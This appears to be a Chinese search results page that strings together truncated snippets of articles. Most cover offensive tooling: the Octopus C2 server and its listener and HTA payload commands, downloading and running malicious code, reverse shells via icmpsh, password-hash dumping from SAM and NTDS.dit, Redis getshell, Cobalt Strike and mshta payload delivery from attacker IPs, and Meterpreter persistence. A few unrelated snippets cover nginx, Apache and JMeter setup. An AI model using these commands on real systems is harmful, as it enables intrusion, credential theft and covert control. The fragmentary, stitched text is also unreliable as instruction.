首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

基于pythonpowershell的开源预操作C2服务器

Octopus 以一种非常简单的方式工作,通过加密良好的通道执行命令并与 C2 交换信息,这使得它在几乎所有 AV、端点保护网络监控解决方案中都变得不显眼且无法检测到。...Octopus 具有许多功能,可让您在实际需要部署完整的武器库或工具技术之前深入了解即将进行的活动,例如: 通过 HTTP/S 控制代理。 执行系统命令。 下载/上传文件。...您可以使用以下命令基于 Debian 的发行版安装 nasm: apt install nasm 您可以mingw-w64使用以下命令基于 Debian 的发行版安装: apt install...Octopus 依赖 mono-csc 二进制文件来编译 C# 源代码,您可以通过以下命令安装它,该命令apt install mono-devel已在 kali ubuntu 16.04 测试过...您可以不安装单声道的情况下使用八达通,但您将无法使用generate_exe命令

1.4K40

命令控制之Octopus

文章前言 Octopus是基于python开发的一款可操作的C2服务器,可以通过HTTP/S控制Octopus powershell代理,其主要目的是要在任何红队行动之前使用,而不是开始与您的整个作战武库基础设施接触...,例如: 下载文件 执行系统命令 通过HTTP/S控制代理 加载外部Powershell模块 C2代理之间使用加密的通道(AES-256) 使用不起眼的技术执行命令并传输结果 为每个目标创建自定义侦听器多个侦听器...时间间隔:代理检查命令之前将等待的秒数 URL:承载有效负载的页面的名称(例如:index.php) Listener_name:要使用的侦听器名称 您还可以通过运行以下listen_http...命令来查看示例: 我们可以使用以下命令启动侦听器: listen_http 0.0.0.0 8080 192.168.174.131 5 index.php operation1 之后将返回以下结果:...: 同时您可以使用Octopus从目标计算机上下载文件,只需执行“ download file_path”即可下载文件 HTA oneliner 要为listener1生成HTA oneliner,

53520
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【工具使用】强大的红队武器Octopus“吊打”杀软

    前言 Octopus是基于python3的开源项目,可进行操作的C2服务器,可以通过HTTP / S控制Octopus powershell代理。...您还可以通过为您的域提供有效的证书并配置Octopus C2服务器以使用它来选择使用SSL / TLS。...来启动的方法上面一样,只需要将seraph.xxx域名替换为IP即可 listen_http 0.0.0.0 8033 192.168.0.194 5 page2.php test2 Listen_https...:https监听器配置 https监听器的配置http差不多只不过多了个证书私钥 由于是本地操作所以生成了一个自签名的证书 启动https监听器: listen_https 0.0.0.0 443...您可以使用以下命令“ generate_hta”生成HTA: generate_hta test 具体怎么操作使用就看各位大佬自行发挥。

    1.3K20

    通过命令下载执行恶意代码的几种姿势

    渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。...目标主机执行恶意代码,可以分为上传/下载并执行恶意代码无文件远程恶意代码执行。接下来,我们来总结一下LinuxWindows中下载执行恶意代码的一些姿势。...一、Linux 远程恶意代码执行 01、curl 以用curl的方式执行http页面上的shell脚本,无需download,本地机器直接执行。...scp username@servername:/path/filename /tmp/local_destination 05、rsync 使用rsync可以进行远程同步,拉取文件到本地服务器。...rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt 06、sftp 使用sftp下载远程服务器的文件。

    2.2K20

    内网渗透技术-零基础方向

    ): win03运行: icmpsh.exe -t kali_ip -d 500 -b 30 -s 128 可以看到icmp进行通信的 Shell反弹不出的时候 主要针对:本机kali不是外网或者目标..._x64没有这个,win03_x32有,听说是x32才有这个) 思路: 把需要上传的exe转换成十六进制hex的形式 通过echo命令将hex代码写入文件(echo也是有长度限制的) 使用debug功能将...LM_HASH Hash一般存储两个地方:SAM文件,存储本机 对应本地用户 NTDS.DIT文件,存储域控 对应域用户 本机hash+明文抓取 1、Get-PassHashes.ps1...QuarkPwDump是win上面分析ntds.dit,这个是linux上面的离线分析 优点是能获取全部的用户,不用免杀,但是数据特别大,效率低,另外用vssown.vbs复制出来的ntds.dit数据库无法使用...: 如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题 如果出现Description = 无法启动服务

    1.5K30

    RedisWindows环境下Getshell方法小结

    Redis如果部署Linux服务器还好一些,配合nc可以很方便的就拿到了shell。但是如果部署Windows环境下就比较鸡肋了,虽是这样说,但是也有一些getshell的办法。...测试Redis未授权访问 Centos7安装过Redis所以直接拿来用了。 [root@localhost src]# ....配置Windows server 2012 测试过程中发现,默认是无法启动项文件夹写文件的,需要把C:\Users\Administrator文件夹的组添加上Everyone并把权限改成完全控制,改完以后再测试就可以了...三、使用Cobalt Strike 下载地址就不提供了,是把Cobalt Strike的服务端脚本放到了kali运行,然后客户端是本机(win10)运行的。...0x05 一些思考 真实环境中确实遇到了几个可以访问启动目录的系统,测试的过程中,如果安装了安全软件也是可以拿到shell的。

    4.9K30

    零基础看内网渗透技术

    进行代理后,windows下推荐使用Proxifier进行socket连接,规则自己定义 ?...2、linux 进行代理后,推荐使用proxychains进行socket连接 kali下的配置文件:/etc/proxychains.conf 添加一条:socks5 127.0.0.1 8888 然后命令前加...思路: 把需要上传的exe转换成十六进制hex的形式 通过echo命令将hex代码写入文件(echo也是有长度限制的) 使用debug功能将hex代码还原出exe文件 ?...LM_HASH Hash一般存储两个地方:SAM文件,存储本机 对应本地用户 NTDS.DIT文件,存储域控 对应域用户 本机hash+明文抓取 1、Get-PassHashes.ps1 ?...win上面分析ntds.dit,这个是linux上面的离线分析 优点是能获取全部的用户,不用免杀,但是数据特别大,效率低,另外用vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe

    2.1K10

    从零开始内网安全渗透学习

    ): win03运行: icmpsh.exe -t kali_ip -d 500 -b 30 -s 128 可以看到icmp进行通信的 #####Shell反弹不出的时候 主要针对:本机kali不是外网或者目标..._x64没有这个,win03_x32有,听说是x32才有这个) 思路: 把需要上传的exe转换成十六进制hex的形式 通过echo命令将hex代码写入文件(echo也是有长度限制的) 使用debug功能将...LM_HASH Hash一般存储两个地方: SAM文件,存储本机 对应本地用户 NTDS.DIT文件,存储域控 对应域用户 #####本机hash+明文抓取 1、Get-PassHashes.ps1...2、导注册表+本地分析 Win2000XP需要先提到SYSTEM,03开始直接可以reg save 导出的文件大,效率低,但是安全(测试的时候QuarkPwDump抓取的hash不一致) reg...: 如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题 如果出现Description = 无法启动服务

    2.7K101

    使用hta操作nginx停止、重启

    (关于图片的处理方案,上面已经写过了) 这个时候把这zip包如果发给其它联合运营商,它们本地是无法跑起来了,因为里面有include,的想法是希望有个小应用程度,接收的人双击一下点击后就能直接浏览游戏官网了...中每一个单元格是否包含需要查找的字符串并记录下,运行完后打开一个html页,html内容需要显示匹配到的行、列excel文件链接等信息)。...但是处理nginx的停止、重启的时候遇到了问题。 先在nginx的目录下弄了两个bat批处理文件:restart.bat、stop.bat文件,如下图所示: ?...-s quit nginx.exe -s reload start nginx 之后尝试使用下面的方法直接调用两个bat: var wsh = new ActiveXObject("...总结一下,用到的技术:php、javascript、css、hta、batch(批处理)、nginx的配置、SSI,上面记录下的是实现那个想法时遇到的一些问题,以及如何定位问题然后解决它的。

    1.8K10

    Windows环境配置Apache+Mysql+PHP

    一、安装配置Apache2.4.7(httpd-2.4.7-win64-VC11.zip ) 1、解压下载的安装包:httpd-2.4.7-win64-VC11.zip将其放到自己的安装目录(的目录D..."Apache24"命令成功后会有成功的提示,此时你可以window服务启动项中看到Apache24这个服务 然后点击启动就可以了,如果不想设置成开机启动的话也可以将启动类型修改为手动。...当然也可以通过D:\phpEnv\Apache24\bin下面的ApacheMonitor.exe来启动Apache这里就不多说了 如此Apache的配置就基本完成了。 ?...END 方法/步骤4 1 四、小结:     Php环境的安装网上已经有很多资料了,自己接触php的时候也是翻天覆地的查,自己的电脑也装过不少次了,开始的时候也用集成的软件包...END 注意事项 php_curl.dll libssh2.dll 始终无法加载的原因 及解决办法,StackOverflow得到最终原因及解决办法 http://stackoverflow.com

    2.7K110

    WindowsLinux文件下载方式汇总

    我们渗透测试过程中我们可以通过攻击主机上搭建FTP服务,之后目标主机上通过cmd下的ftp进行远程连接: 首先,攻击主机使用IPOP启动一个简易的FTP服务: ?...如果你想要使得目标主机CS上线,那么也可以通过CS来构造hta文件 ? ? ? 之后本地启动一个HTTP服务: ?...PHP 当目标主机内安装了Ruby时,我们可以终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载: <?...FTP ftplinux一般都自带,我们可以终端输入ftp进行交互,所以我们可以本地搭建FTP服务,之后目标主机上通过终端下的ftp进行远程连接来下载文件~ 首先,攻击主机使用IPOP启动一个简易的...TFTP tftplinux一般都自带,我们可以终端输入tftp进行交互,所以我们可以本地搭建TFTP服务,之后目标主机上通过终端下的tftp远程下载文件~ 首先,攻击主机使用IPOP启动一个简易的

    2K50

    以弱口令为入口的一次基础的渗透测试

    温馨提示 本文章仅供学习交流使用,文中所涉及的技术、思路工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!...通过对目标站点的扫描获取信息,发现开放8081端口 ? 对应web服务为phpmyadmin,这种页面能想到的只有弱口令空密码了 奈何本人太菜了 ?...之后为了进行有效的内网渗透得想办法让目标上线MSF或者CS 这里选择的上线CS ? ? 这里选择的web application执行文件 ? 生成恶意hta文件: ?...Copy恶意链接 终端mshta执行hta木马 ? ? 成功上线 ? 查看权限 sy ? 开放3389 不远程的黑客不是好黑客 ? 新建个用户YDT ? 提升权限 ? 成功远程服务器 ?...command: run persistence -X -i 2 -p 8888 -r 123.123.123.123 -X指定启动的方式为开机自启动 -i反向连接的时间间隔(2s) –r 指定攻击者的

    50020

    Linux下搭设游戏服务器实例大全

    如果你想在win32下建立服务器,推荐使用bnetw,bnetw是bnetd 的win32移植版本,并且增加了图形用户界面,bnetw可以 http://ugoth.net/bnetd/找到 同时...如果你只是想建立一个临时性质的服务器或者作为测试使用, 则你可以win32下运行bnetd, d2csd2dbs。...d2gs: 1).win2k/NT/XP 从系统服务控制管理中启动d2gs服务或者直接从命令行下运行 “net start d2gs” 2). win9x/me 运行c:\d2gs\d2gs.exe...一台windows机器安装它,然后拷贝所有的.mpq.dll文件到你的linux机器的柯枷隆?br /> 解压d2gs到你拷贝diablo files的目录下。...修改d2csipd2bdsip,让它们符合你的配置。(例如输入你的IP) 运行d2gs:在你运行d2gs.exe之前,pvpgn服务器运行d2csd2dbs,并确保它们配置正确。

    2.1K30

    1.使用Apache Jmeter对应用压力测试学习与实践

    JMeter 是一款开源纯 Java 应用程序, 旨在测量性能负载测试应用程序, 目前由 Apache 软件基金会提供支持。 Q: 能用 Apache JMeter 做什么?...Apache JMeter 功能包括: 1) 能够加载性能测试许多不同的应用程序/服务器/协议类型: * Web - HTTP、HTTPS(Java、NodeJS、PHP、ASP.NET,...) *...SOAP / REST Web 服务 * FTP * 通过 JDBC 的数据库 * LDAP * 通过 JMS 的面向消息的中间件 (MOM) * 邮件 - SMTP(S)、POP3(S) IMAP...(S) * 本机命令或 shell 脚本 * TCP * Java 对象 2) 功能齐全的测试 IDE,允许快速 记录测试计划(从浏览器或本机应用程序)、构建和调试 。...;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;" /M setx PATH "%PATH%;%JAVA_HOME%\bin\;" /M # 版本查看

    62520

    Red team之Octopus(章鱼)的使用

    这款工具最早被演示于BlackHat London 2019中,Octopus是一个基于python3的开源,可操作的C2服务器,它可以通过HTTP/ S控制Octopus powershell代理。...Octopus与C2通信时被设计为隐秘且隐蔽的,因为它在Powershell代理与C2服务器之间的加密通道默认使用AES-256。 Octopus的功能: 通过HTTP / S控制代理。...执行系统命令。 下载文件。 加载外部Powershell模块。 C2代理之间使用加密的通道(AES-256)。 使用不起眼的技术执行命令并传输结果。...URL:承载有效负载的页面的名称(例如:index.php)。 Listener_name:要使用的侦听器名称。...其他两种也一样: generate_hta listener_name generate_exe listener_name output_path 注:用mono-project将C#代理编译为可执行文件

    1.6K30

    Windows文件传输及执行—mshta「建议收藏」

    大家好,又见面了,是你们的朋友全栈君。 声明:本文介绍的内容仅用于学习研究目的,请勿用做非法用途。  ...路径下载的文件将保存在WebDAV客户端本地缓存: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV  使用...UNC路径下载payload时,需要WebClient 服务启动,如果没有启动,可在命令行前面加上pushd \\webdavserver & popd命令。...c3a4XKrdsu3L.hta win7win10测试,都可成功反弹shell:  Empire也支持.hta的payload: usestager windows/hta 然后目标主机执行...: mshta http://192.168.49.160:8000/payload.hta win7,10成功: 使用UNC路径的命令格式为: mshta \\webdavserver\folder

    3.1K20

    Windows 2003下IIS+PHP+MySQL+Zend Optimizer+GD库+phpMyAdmin安装配置

    [attachment=890] 确定 Web 目录的应用程序设置执行许可中选择为“纯脚本”,然后关闭 Internet 信息服务管理器, 命令提示符中执行如下命令: net stop w3svc...第四步:安装GD库 这一步在前面PHP.INI配置中实际已经安装好了, php.ini里找到 "extension_dir",然后将路径指向extension,如下(假设你的php安装路 径为:C...这段时间来,陆续大约有10多位落伍兄弟通过QQ加我咨询相关问题询问PHP安装使用过程中的解决办法,大部分都一一解答并给予帮助解决,一般都是通过远程直接给予帮助并都完满解决,个别仅仅通过QQ给予安装不成功的部分描述...这个错误用介绍的权限设置方案可以完美解决,遇到这个错误后搜索了大量内容,都没给出详细解决办法,并且出现这个问题的人还很多,终于的尝试下解决了,如果还不能解决的请给EVEYONE权限试试 以上是一般遇到比较多的普遍问题...,当然PHP配置使用中还有很多问题的,欢迎大家探讨!

    2.3K20

    Linux下PHP+Nginx环境搭建

    nginx的configure命令支持以下参数: --prefix=*path* 定义一个目录,存放服务器的文件 ,也就是nginx的安装目录。默认使用 /usr/local/nginx。...--conf-path=*path* 设置nginx.conf配置文件的路径。nginx允许使用不同的配置文件启动通过命令行中的-c选项。...--error-log-path=*path* 设置主错误,警告,诊断文件的名称。安装完成后,可以随时改变的文件名 ,nginx.conf配置文件中 使用 的error_log指令。...例如,当你FreeBSD使用PCRE库时需要使用:--with-cc-opt="-I /usr/local/include。....如图:启动成功 Nginx服务维护 为了避免每次开机手动启动,可以使用命令脚本,注册服务,开机自启动等 创建nginx启动命令脚本 `vi /etc/init.d/nginx` 插入以下内容, 注意修改

    2.9K30
    领券